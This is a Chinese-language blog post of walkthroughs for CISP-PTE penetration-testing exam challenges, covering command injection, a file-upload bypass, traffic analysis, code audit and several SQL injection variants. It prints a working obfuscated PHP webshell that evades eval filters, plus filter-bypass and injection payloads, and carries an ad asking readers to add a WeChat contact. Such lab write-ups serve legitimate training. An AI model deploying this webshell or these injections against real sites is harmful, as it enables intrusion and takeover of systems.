記一些CISP-PTE題目解析

合天网安实验室發表於2024-05-11

0x01 命令執行

記一些CISP-PTE題目解析

直接payload: 127.0.0.1 &whoami,發現可以成功執行whoami命令

記一些CISP-PTE題目解析

然後ls ../ ,發現有個key.php檔案

記一些CISP-PTE題目解析

嘗試用cat命令檢視發現不行被攔截了。(其實題目過濾了常用的檢視檔案的命令)記一些CISP-PTE題目解析

這裡有兩種思路,第一種是根據題目意思用命令執行寫webshell的方式去進行getshell,第二種方式則是使用linux的命令進行繞過。這裡採用第二種方式使用c''at的方式進行繞過。

記一些CISP-PTE題目解析

0x02 基礎題目之檔案上傳突破

可以發現部分上傳程式碼,檔名被命名成一個隨機數加上原本的檔名然後md5的值。

記一些CISP-PTE題目解析

直接上傳一個帶圖片頭的php木馬(會檢測是否是圖片,所以需要一個GIF89A當圖片頭),而且過濾了一些敏感函式如eval等。這裡直接上傳一個免殺的木馬即可。

<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>

記一些CISP-PTE題目解析

然後接下來就是爆破出shell的地址了,這裡我們直接把上傳的資料包重放1000次用來提高爆破成功的效率。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

用burp的null payload傳送1000次

記一些CISP-PTE題目解析

然後設定上傳的檔名1.php為字首,加上隨機數的1~99999,最後經過md5加密即可。

記一些CISP-PTE題目解析

設定字首為1.php (上傳的檔名)

記一些CISP-PTE題目解析

然後新增md5

記一些CISP-PTE題目解析

最後就是等待爆破成功。

記一些CISP-PTE題目解析

key在web根目錄下的key.php檔案

記一些CISP-PTE題目解析

0x03 基礎題目之流量分析

下載資料包,使用wireshark發現是http協議居多,首先可以使用wireshark的匯出檔案檢視一下http的訪問檔案分組。

可以發現攻擊者在進行目錄爆破。這裡可以直接選擇

記一些CISP-PTE題目解析

然後根據檔案大小排序一下,發現其中有一個壓縮包。

記一些CISP-PTE題目解析

但是壓縮包設定了密碼

記一些CISP-PTE題目解析

然後查詢http資料中是否有包含壓縮包名字的資料包,其中phpspy.php包含了這個壓縮包的名稱。

記一些CISP-PTE題目解析

追蹤流結果發現Adm1n!是解壓密碼(%21是url編碼)

記一些CISP-PTE題目解析

0x04 程式碼審計

記一些CISP-PTE題目解析

考點就是讓數字繞過is_numerice判斷,這裡直接使用數字後面跟一個字串即可繞過。

記一些CISP-PTE題目解析

0x05 基礎題目之SQL隱碼攻擊

首先發現題目有一個註冊介面,註冊賬號之後進行登入。

記一些CISP-PTE題目解析

然後再發表文章處發現存在insert注入。

記一些CISP-PTE題目解析

記一些CISP-PTE題目解析

直接抓取資料包使用sqlmap即可

記一些CISP-PTE題目解析

0x06 基礎題目之SQL隱碼攻擊

記一些CISP-PTE題目解析

沒什麼特別的,只是過濾了union關鍵字這裡用雙寫繞過就可以了, ununionion這樣。

然後直接load_file讀取檔案即可獲取key。

記一些CISP-PTE題目解析

0x07 無回顯命令執行

很簡單,看了一下程式碼,限制了cmd引數的命令長度而已。可以使用linux的流符號生成一個檔案

記一些CISP-PTE題目解析

記一些CISP-PTE題目解析

0x08 二階SQL隱碼攻擊

二次注入是一種SQL隱碼攻擊的形式,它涉及到使用者輸入的資料在第一次被儲存到資料庫中時被錯誤地處理,導致在後續的查詢中,這些原本被轉義的資料再次被使用,從而執行惡意命令。

第一步是插入惡意資料:

在第一次插入資料時,開發者可能使用了函式如addslashes過濾了,這時是沒有問題的。

比如註冊功能:

這裡註冊一個test'使用者 ,由於'被成功轉義成了'所以這裡是能夠正常執行sql語句的。

記一些CISP-PTE題目解析

記一些CISP-PTE題目解析

然後登入test'使用者也是沒有問題的

記一些CISP-PTE題目解析

但是問題出現再第二次資料庫操作中,由於被存入的資料庫的使用者名稱是test',那麼在第二次系統從資料庫中獲取使用者名稱的時候如果沒有過濾那麼就會造成二次注入。

比如更新密碼:

記一些CISP-PTE題目解析

系統的語句可能會長這樣:

update user set passwd = 'newpasswd' where uname = 'test'' #test'是使用者名稱。那麼這種情況就可能導致注入。

那麼二次注入怎麼利用,這裡可以看到需要admin使用者登入才能夠得到key,那麼我們能夠用構造一條語重置admin密碼就可以了

update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a'

aaa' or 1 -- a是使用者名稱

用新使用者重置admin的密碼

記一些CISP-PTE題目解析

再次登入admin

記一些CISP-PTE題目解析

更多網安技能的線上實操練習,請點選這裡>>

相關文章